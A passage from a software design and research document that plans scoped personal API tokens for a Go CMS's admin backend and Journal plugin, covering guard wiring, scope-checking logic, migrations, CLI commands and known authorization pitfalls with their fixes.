none left -> 403 (WriteUnauthorized sees *ScopeError) |
|
||||
| |
|
||||
principal.Scope = {Full | Patterns} ; debounced last_used |
|
||||
+---------------------> principal (+ token credential) on ctx
|
||||
|
|
||||
route wrapper: interactiveOnly? -- token credential --> 403
|
||||
|
|
||||
handler: cabana.Allows(principal, required)
|
||||
owner grant(code) AND scope covers(code)
|
||||
|
|
||||
200 / 403 (envelope or Journal body)
|
||||
```
|
||||
|
||||
### Recommended Project Structure
|
||||
|
||||
```
|
||||
modules/
|
||||
├── pact/capabilities.go # + TokenScope struct, HasTokenScopes interface, method helpers
|
||||
├── bouncer/context.go # + Principal scope-limit field (json:"-")
|
||||
├── bouncer/jwt.go # optionally export BearerToken (or keep cabana's own copy)
|
||||
├── lagoon/backend_admin_migrations.go # + dated backend_api_tokens migration
|
||||
└── cabana/
|
||||
├── api_tokens.go # model, mint, hash, hint, lookup, revoke, debounce
|
||||
├── token_scopes.go # compile scopes (framework + plugins), cover/overlap rules
|
||||
├── token_guard.go # composite CredentialGuard + UnauthorizedWriter, resolver
|
||||
├── account_tokens.go # GET/POST /account/tokens, DELETE /account/tokens/{id}, GET /account/tokens/scopes
|
||||
├── contracts.go # Allows rewrite
|
||||
├── commands.go # admin:token:create|list|revoke|scopes
|
||||
└── admin_openapi.go # swag stubs + types for the four endpoints
|
||||
admin/src/components/account/ApiTokensPanel.vue (+ ApiTokenCreateDialog.vue)
|
||||
../sm-journal-plugin/
|
||||
├── token_scopes.go # journal, journal:read
|
||||
├── controllers/api/auth.go # switch to cabana resolver
|
||||
└── lang/{en,pl}/lang.yaml # scope labels/descriptions
|
||||
```
|
||||
|
||||
### Pattern 1: Composite `backend` guard (D-13)
|
||||
|
||||
**What:** One type implementing `bouncer.CredentialGuard` and `bouncer.UnauthorizedWriter`, registered by cabana under `backend` in place of the bare JWT guard.
|
||||
|
||||
Current registration [VERIFIED: modules/cabana/http.go:145-160]:
|
||||
```go
|
||||
guard := bouncer.NewBackendJWTGuard(secret, users, bl, writeUnauthenticated, AdminCookieName)
|
||||
...
|
||||
if owner, taken := guards.Owner("backend"); !taken {
|
||||
if err := guards.Register("summercms.cabana", "backend", guard); err != nil {
|
||||
```
|
||||
|
||||
The bouncer interfaces [VERIFIED: modules/bouncer/guard.go:10-25]:
|
||||
```go
|
||||
type CredentialGuard interface {
|
||||
AuthenticateCredential(r *http.Request) (*Principal, any, error)
|
||||
}
|
||||
type UnauthorizedWriter interface {
|
||||
WriteUnauthorized(w http.ResponseWriter, err error)
|
||||
}
|
||||
```
|
||||
|
||||
Middleware behaviour [VERIFIED: modules/bouncer/registry.go:83-99]: on `err != nil || principal == nil`, if the guard implements `UnauthorizedWriter` it calls `wtr.WriteUnauthorized(w, err)` and stops; on success it stores `WithUser` and, when `cred != nil`, `WithCredential`.
|
||||
|
||||
**How:** `AuthenticateCredential(r)`:
|
||||
1. Read `Authorization`; if `strings.CutPrefix(h, "Bearer ")` yields a value starting with `g15_` → token branch. Otherwise delegate to the wrapped JWT guard's `Authenticate(r)` and return `(p, nil, err)`.
|
||||
2. Token branch: reject anything not matching `^g15_[0-9a-f]{40}$` **before** touching the DB (401). Hash, `SELECT … WHERE token_hash = ? AND revoked_at IS NULL AND (expires_at IS NULL OR expires_at > now())`, constant-time compare the fetched hash.
|
||||
3. Owner via the same `lazyBackendUsers.FindByID` the JWT guard uses (D-10: activation + soft-delete honored; `tokens_valid_after` not consulted).
|
||||
4. Method filter → if no stored scope (known, registered) permits `r.Method`, return a typed `*ScopeError` so `WriteUnauthorized` answers **403** `forbidden` with `details.reason="token_scope"`; any other error answers the existing 401 `unauthenticated` envelope.
|
||||
5. Set the principal's scope limit, stamp `last_used_at` (debounced, never fails auth), return `(principal, *BackendAPIToken, nil)`.
|
||||
|
||||
`WriteUnauthorized` receives `err`, so the 401/403 split needs no bouncer change. Name it clearly in a comment, because "unauthorized writer" writing 403 is surprising.
|
||||
|
||||
### Pattern 2: `Allows` as owner ∩ scope, per code (D-14, D-05)
|
||||
|
||||
Current [VERIFIED: modules/cabana/contracts.go:186-199]:
|
||||
```go
|
||||
func Allows(principal *bouncer.Principal, required []string) bool {
|
||||
if principal == nil {
|
||||
return false
|
||||
}
|
||||
if principal.IsSuperuser || len(required) == 0 {
|
||||
return true
|
||||
}
|
||||
for _, code := range required {
|
||||
if granted(principal.PermissionGrants, code) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
```
|
||||
|
||||
Current `Principal` [VERIFIED: modules/bouncer/context.go:14-22]:
|
||||
```go
|
||||
type Principal struct {
|
||||
ID uint
|
||||
MustChangePassword bool
|
||||
PreferredLocale string
|
||||
TokensValidAfter time.Time
|
||||
Backend bool `json:"-"`
|
||||
IsSuperuser bool `json:"-"`
|
||||
PermissionGrants map[string]bool `json:"-"`
|
||||
}
|
||||
```
|
||||
|
||||
**Recommended shape** (names are discretion):
|
||||
```go
|
||||
// bouncer: nil means unrestricted (JWT session). Set only by a token guard,
|
||||
// already filtered to the scopes whose methods include the request method.
|
||||
type ScopeLimit struct {
|
||||
Full bool // "*" (any method) or "admin:read" (on GET/HEAD)
|
||||
Patterns []string // union of the remaining scopes' permission patterns
|
||||
}
|
||||
// Principal gains: Scope *ScopeLimit `json:"-"`
|
||||
|
||||
// cabana
|
||||
func Allows(p *bouncer.Principal, required []string) bool {
|
||||
if p == nil {
|
||||
return false
|
||||
}
|
||||
if p.Scope != nil && !p.Scope.Full {
|
||||
if len(required) == 0 {
|
||||
return false // D-05
|
||||
}
|
||||
for _, code := range required {
|
||||
if ownerHas(p, code) && scopeCovers(p.Scope.Patterns, code) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
// unchanged JWT / full-scope path
|
||||
}
|
||||
```
|
||||
`ownerHas` = `p.IsSuperuser || granted(p.PermissionGrants, code)` (superuser is still limited by the scope, D-14).
|
||||
|
||||
**Why the union of patterns is correct:** `Allows` already has any-of semantics (Winter `hasAnyAccess`). With per-code evaluation, "some method-allowed scope covers code" equals "the union of method-allowed patterns covers code". D-03's "patterns match every required permission" reads as the single-code case; per-code any-of never grants more than either side. Flag for the planner (Assumptions A2).
|
||||
|
||||
**Do not reuse `granted()` verbatim for scope cover.** `granted` (contracts.go:203-235) matches a wildcard *requirement* only against concrete keys with a longer prefix and skips wildcard keys shorter than 2 chars, so `scopeCovers(["golem15.*"], "golem15.journal.*")` returns false and pattern `*` never matches. Write `scopeCovers` with explicit cases (pattern wildcard covers code; pattern wildcard prefix ⊇ required wildcard prefix) and table tests.
|
||||
|
||||
### Pattern 3: Published resolver for routes outside the `backend` middleware (D-15)
|
||||
|
||||
Journal today builds its own guard [VERIFIED: ../sm-journal-plugin/controllers/api/auth.go:58-81]:
|
||||
```go
|
||||
reg, _ = app.Lookup[*cabana.Registry]()
|
||||
...
|
||||
return bouncer.NewBackendJWTGuard(secret, cabana.BackendUsers{DB: gdb, Registry: reg}, bl, write)
|
||||
```
|
||||
`cabana.Activate` publishes only the guard registry [VERIFIED: modules/cabana/http.go:136-142 — `if err := app.Publish(guards); err != nil {`]; no `Publish` of `*Registry` exists anywhere in `modules/cabana` (grep this session), so `reg` is always nil and `rolePermissions` returns an empty map for nil (registry.go:368-372). Code-declared role grants (`Roles: []string{"developer"}` in Journal's catalog) are therefore missing on Journal's API today.
|
||||
|
||||
**Recommendation:** `Activate` publishes an exported resolver value (e.g. `*cabana.BackendAuth`) holding the composite guard and the compiled scope catalog. Export a function such as:
|
||||
```go
|
||||
// ResolveBackend authenticates r like the backend guard and requires, for a
|
||||
// token, that a method-allowed scope covers at least one of cover.
|
||||
func ResolveBackend(app *backpack.App, r *http.Request, cover ...string) (*http.Request, *bouncer.Principal, error)
|
||||
```
|
||||
with sentinel errors (`ErrUnauthenticated`, `ErrTokenScope`) so Journal maps them to its own byte-identical bodies (`{"error":"Authentication required"}` 401, `{"error":"Insufficient permissions"}` 403). Plugin routes are registered **before** `cabana.Activate` runs (surf router.go:540-548), so the resolver must be looked up per request, not captured at `Routes()` time. Journal's test harness uses `surf.Assemble` (admin_harness_test.go:228), so the published resolver is present in tests.
|
||||
|
||||
The `cover` argument closes the ownership bypass (Pitfall 3): Journal passes `"golem15.journal.*"` on every call; an unrelated scope (e.g. a future `payment`) never resolves a principal for Journal routes.
|
||||
|
||||
### Pattern 4: Interactive-only marker (D-06)
|
||||
|
||||
Route wrapper next to `requireAjax`, applied in `mount`:
|
||||
```go
|
||||
func interactiveOnly(next http.HandlerFunc) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
if cred, _ := bouncer.Credential(r.Context()); isAPIToken(cred) {
|
||||
WriteErrorDetails(w, http.StatusForbidden, "forbidden", msgForbidden,
|
||||
map[string]any{"reason": "interactive_only"})
|
||||
return
|
||||
}
|
||||
next(w, r)
|
||||
}
|
||||
}
|
||||
```
|
||||
Current account routes [VERIFIED: modules/cabana/http.go:243-248]:
|
||||
```go
|
||||
r.GroupRaw(api, []string{"backend"}, func(g pact.Router) {
|
||||
g.Get("/auth/me", s.me)
|
||||
g.Put("/account", requireAjax(s.accountUpdate))
|
||||
g.Post("/account/avatar", requireAjax(s.avatarUpload))
|
||||
g.Delete("/account/avatar", requireAjax(s.avatarRemove))
|
||||
```
|
||||
`/auth/refresh` and `/auth/logout` are mounted outside the guard (http.go:229-238) and read `sessionToken(r)` (Bearer first). A `g15_` Bearer fails JWT verification there and already yields 401; add explicit tests so this stays true, and consider an explicit `g15_` refusal so the intent is visible.
|
||||
|
||||
CSRF note [VERIFIED: modules/cabana/csrf.go `csrfSafe`]: any non-empty Bearer satisfies `requireAjax`, so token clients do not need `X-Requested-With`. Keep that.
|
||||
|
||||
### Pattern 5: Account token API (D-16..D-18)
|
||||
|
||||
Endpoints under `{prefix}/api/v1` inside the `backend` group, all wrapped in `interactiveOnly` (and `requireAjax` for writes):
|
||||
- `GET /account/tokens?revoked=1` → own tokens, newest first. Each row: id, name, hint, scopes as `[{name, label, read_only, known}]`, created_at, last_used_at, expires_at, revoked_at. Server translates labels (UI-SPEC §3 requires a label + known flag per scope).
|
||||
- `POST /account/tokens` `{name, expires: "30d"|"90d"|"365d"|"never", scopes: [...]}` → 201 (or 200 — see Pitfall 8) with the row plus `token` plaintext once. 422 `validation_failed` details keyed `name`, `expires`, `scopes` (UI-SPEC copy: `api_tokens.name_required`, `scopes_required`, `scope_unavailable`). Trim name, 1..100 chars. `["*", "journal"]` → normalize to `["*"]` or 422 (choose one; UI-SPEC sends only `["*"]`).
|
||||
- `DELETE /account/tokens/{id}` → revoke own token only (owner check in the WHERE clause, 404 otherwise); sets `revoked_at`, `revoked_by = principal.ID`.
|
||||
- `GET /account/tokens/scopes` → picker list in server order: `*`, `admin:read`, then plugin scopes; hidden when no overlap (D-17). `*` always.
|
||||
|
||||
Overlap rule (D-17), recommended: a scope overlaps the user iff some **registered permission code** `c` satisfies `ownerHas(c) && scopeCovers(scope.Patterns, c)`; `*` always; `admin:read` iff superuser or any grant. Using the catalog avoids wildcard-vs-wildcard reasoning on user grants.
|
||||
|
||||
Inventories that must list every new route (or tests fail):
|
||||
- `phase09Routes` [VERIFIED: modules/cabana/security_coverage_test.go:34] — mount/guard matrix (`TestPhase09PermissionMatrix`).
|
||||
- OpenAPI path presence and 200/201 response (`TestPhase09ContractInventory`, phase09_contract_test.go:15-80).
|
||||
- `conformCases()` vs `cabana.AdminAPIRoutes()` (`TestPhase10ConformanceInventory`, openapi_conformance_test.go:134).
|
||||
|
||||
Swag stubs live in `admin_openapi.go` as exported no-op functions (e.g. `func AdminAccountUpdate() {}`); new ones follow that style and are therefore exported identifiers the docs checker can see. Update the `BackendBearer` security description, which currently says `Send "Bearer {access_token}"` (admin_openapi.go:10), to mention `g15_` tokens.
|
||||
|
||||
### Pattern 6: Scope capability and compile (D-01, D-04)
|
||||
|
||||
`HasPermissions` precedent [VERIFIED: modules/pact/capabilities.go:495-506]:
|
||||
```go
|
||||
type Permission struct {
|
||||
Code string
|
||||
Tab string
|
||||
Label string
|
||||
Roles []string
|
||||
}
|
||||
type HasPermissions interface {
|
||||
Permissions() []Permission
|
||||
}
|
||||
```
|
||||
Compile precedent: `compileContributions` (registry.go:168-200) iterates plugins, validates, rejects duplicates with `fmt.Errorf("cabana: duplicate permission %s", …)`, then `validatePermissions(owner, codes)` (registry.go:301-308) checks `permissionCode(code, true)` and `permissionExists`.
|
||||
|
||||
Recommended capability:
|
||||
```go
|
||||
type TokenScope struct {
|
||||
Name string // "journal", "journal:read"
|
||||
Label string // phrase key, e.g. "golem15.journal::lang.scopes.journal"
|
||||
Description string // phrase key
|
||||
Permissions []string // non-empty; Winter patterns, validated against the catalog
|
||||
Methods []string // non-empty; e.g. pact.TokenReadMethods = {"GET","HEAD"}
|
||||
}
|
||||
type HasTokenScopes interface{ TokenScopes() []TokenScope }
|
||||
```
|
||||
Boot validation (fail loud): name syntax `^[a-z][a-z0-9_-]*(:[a-z][a-z0-9_-]*)?$`; reserved `*`, `admin`, `admin:*`; duplicates across plugins; empty permissions or methods; unknown HTTP method; permissions via `validatePermissions`; label/description containing `::` must exist in the translator (same rule as action labels in `validateMessageKeys`, messages.go:322-326).
|
||||
|
||||
Journal registers [catalog VERIFIED: ../sm-journal-plugin/admin_permissions.go — codes `golem15.journal.manage_settings`, `golem15.journal.access_posts`, `golem15.journal.access_categories`, `golem15.journal.access_other_posts`, `golem15.journal.access_import_export`, `golem15.journal.access_publish`, `golem15.journal.access_tags`]:
|
||||
- `journal` → `golem15.journal.*`, all methods
|
||||
- `journal:read` → `golem15.journal.*`, GET/HEAD
|
||||
|
||||
Unknown stored scope names (plugin removed): grant nothing, render as unknown (UI-SPEC §3). Tokens whose scopes are all unknown authenticate but cannot pass any method filter → 403; consider 401 instead so agents see a dead token (discretion).
|
||||
|
||||
### Pattern 7: CLI (D-19)
|
||||
|
||||
Current signature [VERIFIED: modules/cabana/commands.go:18 — `func RuntimeCommands(app *backpack.App) []bonfire.Command {`]; generated host `main.go` calls it [VERIFIED: ../sm-grzybyfunkcjonalne-app/main.go:44 — `commands = append(commands, cabana.RuntimeCommands(app)...)`, file header `// Code generated by summer build. DO NOT EDIT.`]; same line in `fonoteka.go/main.go`, `sm-summercmsio-app/main.go`, `sm-bm-app/main.go`, `internal/build/build.go:120`, `examples/hello/main.go:44`, `cmd/summer/docs.go:156`.
|
||||
|
||||
`party.Activate` stores only plugin IDs on the app (`app.SetPlugins(orderedIDs)`, registry.go:107); the plugin objects are not published.
|
||||
|
||||
Options:
|
||||
- **A (recommended, version-bump-only for hosts):** `party.Activate` publishes the ordered plugin slice under a named type (e.g. `party.Activated`); cabana's token commands look it up at `Run` time and compile the scope + permission catalog. `RuntimeCommands(app)` signature unchanged. Cost: a party README/API addition.
|
||||
- **B:** `RuntimeCommands(app *backpack.App, plugins ...party.Plugin)` (source compatible) plus a generator change. Old generated mains compile but pass no plugins, so `--scope=journal` would be "unknown" until each host re-runs `summer build`. Contradicts "host applications only for the version bump."
|
||||
|
||||
bonfire facts:
|
||||
- Repeatable flags exist [VERIFIED: modules/bonfire/command.go:42-48 — `Repeatable bool`, read through `Input.Flags`]; cobra StringSlice also splits `--scope=a,b`.
|
||||
- **All Output methods except `Error` write to stdout, and `NewRoot` sets `errW = out`** [VERIFIED: modules/bonfire/root.go:12-14 — `return NewRootIO(name, commands, os.Stdin, out, out)`; output.go `Success`/`Warning`/`Info` call `c.Println`]. To keep `admin:token:create` pipe-clean, print exactly `out.Println(token)` and nothing else on success; return errors (the generated main prints them to stderr).
|
||||
|
||||
`summer` forwards app commands through a fixed table [VERIFIED: cmd/summer/runtime.go:37-38 rows for `admin:create`, `admin:reset-password`]. Add `admin:token:*` rows if `summer admin:token:create …` should work from the app directory, and the `docs/console/introduction.md` delegate table with them. `docsCommands` (docs.go:146-163) already picks up anything `cabana.RuntimeCommands(app)` returns.
|
||||
|
||||
Identifier resolution: reuse the `findBackendLogin` ambiguity rule (login OR lower(email), exactly one row). Refuse to mint for a deactivated or soft-deleted user (the token would 401 anyway). `revoked_by` is NULL for CLI revokes.
|
||||
|
||||
### Anti-Patterns to Avoid
|
||||
- **Checking scope in per-route middleware annotations:** permission checks live in handlers (D-14); annotations would miss actions, relations and settings.
|
||||
- **Letting the token branch fall through to the JWT parser:** a `g15_` value must never be handed to `VerifyClaimsAudience`; route by prefix first.
|
||||
- **Accepting `g15_` from the `summer_admin` cookie or a query string:** D-13 forbids it; the JWT path's cookie fallback must stay JWT-only.
|
||||
- **Failing auth when the `last_used_at` write fails:** the user plugin's guard does this (api_token.go returns `errInvalidAPIToken` on update error); cabana should log and continue.
|
||||
- **Returning the plaintext anywhere after creation:** not in list rows, logs, slog attributes, or error details.
|
||||
|
||||
## Don't Hand-Roll
|
||||
|
||||
| Problem | Don't Build | Use Instead | Why |
|
||||
|---------|-------------|-------------|-----|
|
||||
| Random secret | math/rand, time-seeded IDs | `crypto/rand.Read` | CSPRNG required for bearer secrets |
|
||||
| Hash compare | `==` on secrets | `crypto/subtle.ConstantTimeCompare` on fixed-length hex | Removes a timing side channel |
|
||||
| JWT path | any change to JWT verification | wrap existing `NewBackendJWTGuard` unchanged | D-13; keeps audience, blacklist, cutoff behaviour |
|
||||
| Owner loading | a second user query | `lazyBackendUsers.FindByID` / `BackendUsers.FindByID` | Already merges role, code-declared and user grants (auth.go:40-69) |
|
||||
| Validation messages | ad-hoc strings | `ValidationError{Details: …}`, `lagoon`/`backendMessage` helpers as in account.go | Keeps the D-10 envelope and translations |
|
||||
| Plaintext display/copy | custom modal | Reka Dialog shell copied from `RelationPickerModal.vue`, shared `ConfirmDialog` | UI-SPEC binding |
|
||||
|
||||
**Key insight:** every security-relevant primitive here is stdlib or already in cabana; the work is wiring and making the deny-by-default rule hold on routes that never called `Allows`.
|
||||
|
||||
## Runtime State Inventory
|
||||
|
||||
Not a rename/refactor phase. One related check: Apparatus `golem15_apparatus_personal_api_tokens` rows exist only in the PHP deployment and are explicitly **not migrated** (D-12). Nothing in the Go apps stores `g15_` tokens today.
|
||||
|
||||
## Common Pitfalls
|
||||
|
||||
### Pitfall 1: Superuser short-circuit survives the rewrite
|
||||
**What goes wrong:** `IsSuperuser || len(required) == 0` returns true before scope logic, so a superuser's `journal` token administers everything.
|
||||
**How to avoid:** Evaluate the scope limit first; superuser only replaces the owner-grant side. Table-test superuser × each scope.
|
||||
**Warning signs:** a test for "superuser + journal token on a non-journal controller" passes with 200.
|
||||
|
||||
### Pitfall 2: Routes that never call `Allows`
|
||||
**What goes wrong:** D-05 deny-by-default only holds where `Allows` runs. Handlers that check only `principal.Backend`: `/auth/me` (intended open), `/navigation`, `/settings` (both filtered per item via `Allows`, so a scoped token sees only covered items — acceptable), `/field-types` (field_type.go:864-866) and `/markdown/preview` (field_markdown.go:71-73) — no permission gate at all.
|
||||
**How to avoid:** Add an explicit gate equivalent to `Allows(principal, nil)` on `/field-types` and `/markdown/preview` (only `*`, and `admin:read` on GET, pass). Document the classification of every route in `mount` in a test table.
|
||||
**Warning signs:** a `journal:read` token gets 200 from `/field-types`.
|
||||
|
||||
### Pitfall 3: Ownership branches bypass `Allows`
|
||||
**What goes wrong:** Journal `UploadFeaturedImage`/`DeleteFeaturedImage` check only `post.CanEdit(pr)` (posts.go:323-341, 391-405; no `requireAccessPosts`), and `CanEdit` returns true for the post's author regardless of permissions (models/post.go:161-169). `canViewDraft` likewise passes the owner (posts_helpers.go:33-41). Any token whose scope permits the method would reach them for the owner's own posts.
|
||||
**How to avoid:** The resolver's `cover` argument (Pattern 3) refuses tokens whose scopes do not cover `golem15.journal.*`. Separately decide whether featured-image routes should also call `requireAccessPosts` (PHP parity check needed — the CONTEXT flags it as a possible pre-existing gap).
|
||||
**Warning signs:** a non-Journal scoped token uploads a featured image.
|
||||
|
||||
### Pitfall 4: `*cabana.Registry` lookup is always nil
|
||||
**What goes wrong:** Journal's guard drops code-declared role grants today; if the resolver copies that pattern, tokens inherit the bug.
|
||||
**How to avoid:** The resolver uses the same `lazyBackendUsers{app, reg}` instance the admin guard uses. Add a Journal test where the role grant comes only from `Permission.Roles` (code-declared) and the API write succeeds. Note this as a behaviour change in the Journal README/changelog (users with code-declared grants gain access they lacked through the Journal API).
|
||||
|
||||
### Pitfall 5: Migration tests pin the last ID
|
||||
**What goes wrong:** `TestBackendAdminMetadataColumn` asserts the last `BackendAdminMigrations` ID and the last history row equal `202610090001_backend_users_metadata` and then `RollbackLast()`s expecting the metadata column to disappear [VERIFIED: modules/lagoon/backend_admin_migrations_test.go:561-575].
|
||||
**How to avoid:** Update that test (roll back two, or assert by ID) in the same commit as the migration. `TestPhase09MigrationsFreshRollback` rolls back every entry newest-first (rollbackBackendAdmin, :445-452), which drops the token table before `backend_users` — keep the FK so that order works.
|
||||
Schema facts for the FK [VERIFIED: modules/lagoon/backend_admin_migrations.go:36-37 — `CREATE TABLE IF NOT EXISTS backend_users (` / `id SERIAL PRIMARY KEY,`]: use `backend_user_id INTEGER NOT NULL REFERENCES backend_users(id) ON DELETE CASCADE`, `revoked_by INTEGER NULL REFERENCES backend_users(id) ON DELETE SET NULL`. Use `CREATE TABLE IF NOT EXISTS` and `CREATE … INDEX IF NOT EXISTS` to match the re-runnable style.
|
||||
|
||||
### Pitfall 6: CLI cannot see plugin scopes
|
||||
See Pattern 7. Without a plugin list, `admin:token:scopes` shows only `*` and `admin:read`, and `--scope=journal` is rejected.
|
||||
|
||||
### Pitfall 7: CLI stdout pollution
|
||||
`out.Success`/`Warning`/`Info` go to stdout, and in generated mains stderr is stdout too. Any courtesy line breaks `TOKEN=$(./bin/app admin:token:create …)`. Test that stdout is exactly `g15_<40 hex>\n`.
|
||||
|
||||
### Pitfall 8: OpenAPI inventory demands 200 or 201
|
||||
`TestPhase09ContractInventory` fails a route with neither 200 nor 201 documented. Document 201 for create if you return 201; the SPA openapi-fetch client handles both.
|
||||
|
||||
### Pitfall 9: Scope labels are not in the SPA bundle
|
||||
The public bundle serves only `backend::lang.` keys [VERIFIED: modules/cabana/lang.go:8 — `const adminLangPrefix = "backend::lang."`]. Plugin scope labels must be translated server-side in `/account/tokens/scopes` and in the list rows; framework scope copy (`api_tokens.*`) goes in `modules/phrasebook/backend/lang/{en,pl}/lang.yaml`.
|
||||
|
||||
### Pitfall 10: Route shadowing under the admin API
|
||||
`GET /account/tokens/scopes` (three literal segments) is more specific than `GET /{vendor}/{plugin}/{controller}`, so ServeMux accepts both, but a plugin with vendor `account`, plugin `tokens`, controller `scopes` would be shadowed. `reservedVendorSegments` holds only `api`, `assets`, `login`, `settings` [VERIFIED: modules/cabana/registry.go:44]. Consider adding `account` (low risk).
|
||||
|
||||
### Pitfall 11: Journal throttle key runs before auth
|
||||
`journal-api` bucket key reads `bouncer.User(r.Context())` (plugin.go:118-123) before any guard has run, so it always keys by IP. Agents behind one IP share 120/min. Pre-existing; leave unless cheap, but document.
|
||||
|
||||
### Pitfall 12: Docs snippets must compile
|
||||
Docs pages use `src=modules/bouncer/example_test.go#ExampleNewJWTGuard`-style snippets checked by `TestDocsTree`. New code samples in docs should come from `Example*` tests, and every identifier named must exist.
|
||||
|
||||
## Code Examples
|
||||
|
||||
### Mint and hash (stdlib only)
|
||||
```go
|
||||
// Source: D-07; transform matches Apparatus PersonalApiToken::generateToken/hashToken
|
||||
const tokenPrefix = "g15_"
|
||||
|
||||
func mintToken() (plain, hash, hint string, err error) {
|
||||
var b [20]byte
|
||||
if _, err = rand.Read(b[:]); err != nil {
|
||||
return "", "", "", err
|
||||
}
|
||||
plain = tokenPrefix + hex.EncodeToString(b[:]) // 4 + 40 chars, lowercase
|
||||
sum := sha256.Sum256([]byte(plain))
|
||||
return plain, hex.EncodeToString(sum[:]), plain[len(plain)-4:], nil
|
||||
}
|
||||
|
||||
func wellFormed(v string) bool {
|
||||
if len(v) != 44 || !strings.HasPrefix(v, tokenPrefix) {
|
||||
return false
|
||||
}
|
||||
for _, c := range v[4:] {
|
||||
if !(c >= '0' && c <= '9' || c >= 'a' && c <= 'f') {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
```
|
||||
|
||||
### Debounced last_used_at
|
||||
```go
|
||||
// In-memory gate (per process) + conditional UPDATE (safe across processes).
|
||||
var lastStamp sync.Map // token id -> time.Time
|
||||
|
||||
func stamp(ctx context.Context, db *gorm.DB, id uint, now time.Time) {
|
||||
if v, ok := lastStamp.Load(id); ok && now.Sub(v.(time.Time)) < time.Minute {
|
||||
return
|
||||
}
|
||||
lastStamp.Store(id, now)
|
||||
err := db.WithContext(ctx).Exec(`UPDATE backend_api_tokens SET last_used_at = ?
|
||||
WHERE id = ? AND (last_used_at IS NULL OR last_used_at < ?)`, now, id, now.Add(-time.Minute)).Error
|
||||
if err != nil {
|
||||
slog.Default().WarnContext(ctx, "cabana: token last_used_at stamp failed", "token_id", id, "error", err)
|
||||
}
|
||||
}
|
||||
```
|
||||
Use `UPDATE … SET last_used_at` only (not `updated_at`).
|
||||
|
||||
### Migration entry
|
||||
```go
|
||||
// Appended to lagoon.BackendAdminMigrations; table name is discretion.
|
||||
{
|
||||
ID: "202610110001_backend_api_tokens",
|
||||
Migrate: func(tx *gorm.DB) error {
|
||||
for _, stmt := range []string{
|
||||
`CREATE TABLE IF NOT EXISTS backend_api_tokens (
|
||||
id BIGSERIAL PRIMARY KEY,
|
||||
backend_user_id INTEGER NOT NULL REFERENCES backend_users(id) ON DELETE CASCADE,
|
||||
name TEXT NOT NULL,
|
||||
token_hash CHAR(64) NOT NULL UNIQUE,
|
||||
token_hint TEXT NOT NULL,
|
||||
scopes TEXT NOT NULL,
|
||||
expires_at TIMESTAMPTZ,
|
||||
last_used_at TIMESTAMPTZ,
|
||||
revoked_at TIMESTAMPTZ,
|
||||
revoked_by INTEGER REFERENCES backend_users(id) ON DELETE SET NULL,
|
||||
created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
|
||||
updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW()
|
||||
)`,
|
||||
`CREATE INDEX IF NOT EXISTS backend_api_tokens_backend_user_id_index ON backend_api_tokens (backend_user_id)`,
|
||||
} {
|
||||
if err := tx.Exec(stmt).Error; err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
},
|
||||
Rollback: func(tx *gorm.DB) error {
|
||||
return tx.Exec(`DROP TABLE IF EXISTS backend_api_tokens`).Error
|
||||
},
|
||||
},
|
||||
```
|
||||
The `UNIQUE` constraint creates the lookup index; no separate hash index is needed.
|
||||
|
||||
## State of the Art
|
||||
|
||||
| Old Approach | Current Approach | When Changed | Impact |
|
||||
|--------------|------------------|--------------|--------|
|
||||
| Apparatus `TokenAuthenticate` (no scopes, full owner access, stamp every request) | Scoped tokens ∩ owner permissions, method-limited read scopes, debounced stamp | This phase | Agents get least privilege |
|
||||
| Journal writes: backend JWT only (Phase 15 D-15) | Composite resolver: JWT or `journal`-scoped token | This phase | Reversal recorded in Journal README |
|
||||
|
||||
## Assumptions Log
|
||||
|
||||
| # | Claim | Section | Risk if Wrong |
|
||||
|---|-------|---------|---------------|
|
||||
| A1 | Publishing the activated plugin slice from `party.Activate` (Option A) is acceptable as a framework API addition | Pattern 7 | If rejected, Option B forces every host to regenerate `main.go` |
|
||||
| A2 | Per-code any-of evaluation (owner AND scope per code) is the intended reading of D-03 | Pattern 2 | If "every required permission" was meant literally for multi-code checks, some multi-permission actions would need all codes covered |
|
||||
| A3 | `/field-types` and `/markdown/preview` should be gated to `*`/`admin:read` under tokens | Pitfall 2 | A `journal` agent that wants markdown preview would be refused |
|
||||
| A4 | A token whose stored scopes are all unknown should 401 rather than 403 | Pattern 6 | Minor UX difference for agents |
|
||||
| A5 | Featured-image routes' missing `requireAccessPosts` may be PHP parity, not a bug | Pitfall 3 | Adding it could change Journal's contract for authors without `access_posts` |
|
||||
| A6 | `admin:read` is offered in the picker only when the user is superuser or has at least one grant | Pattern 5 | Picker differs slightly from user expectation |
|
||||
|
||||
## Open Questions (RESOLVED)
|
||||
|
||||
1. **CLI plugin access (Option A vs B).** Recommendation: A. Ask the user at the plan-count checkpoint since it touches `party`'s exported API. — RESOLVED: Option A, user-confirmed: `party.Activate` publishes `party.Activated` and the token commands read it at Run time, with `cabana.RuntimeCommands(app)` unchanged (16.3-01 Decisions, Task 4).
|
||||
2. **Featured-image permission gap.** Check the frozen PHP `routes.php`/controller for `access_posts` on featured images before adding it; the resolver's cover check closes the token-scope side either way. — RESOLVED: the frozen PHP `PostApiController` checks only `$post->canEdit($user)` on both featured-image actions, so no `access_posts` check is added (parity), and the resolver cover `golem15.journal.*` closes the token side (16.3-03 Decisions, Task 2 `TestJournalTokenExpansion`).
|
||||
3. **Create response status (200 vs 201).** Either passes the inventory if documented; 201 matches Journal's own create; the admin API mostly uses 200. Recommendation: 201. — RESOLVED: 201, user-locked, documented as `@Success 201` in the swag stub (16.3-01 Decisions "Create contract", Task 3).
|
||||
4. **Mixed `*` + other scopes on create.** Normalize to `["*"]` (simplest for clients) or 422. Recommendation: normalize. — RESOLVED: normalize to `["*"]`, user-locked, in the shared `validateTokenRequest`/`issueAPIToken` path used by the API and the CLI (16.3-01 Task 3).
|
||||
5. **Version release.** The Journal change requires a new framework tag (current latest `v0.1.20`) and a Journal `go.mod` bump; host apps then bump the journal submodule and framework version. Confirm the release step is in a plan. — RESOLVED: 16.3-03 Task 3 (blocking-human release gate) and Task 4 (annotated tag after `v0.1.20`, Journal `go.mod` require, `sm-grzybyfunkcjonalne-app` journal gitlink bump; the `sm-summercmsio-app` bump is asked at the gate).
|
||||
|
||||
## Environment Availability
|
||||
|
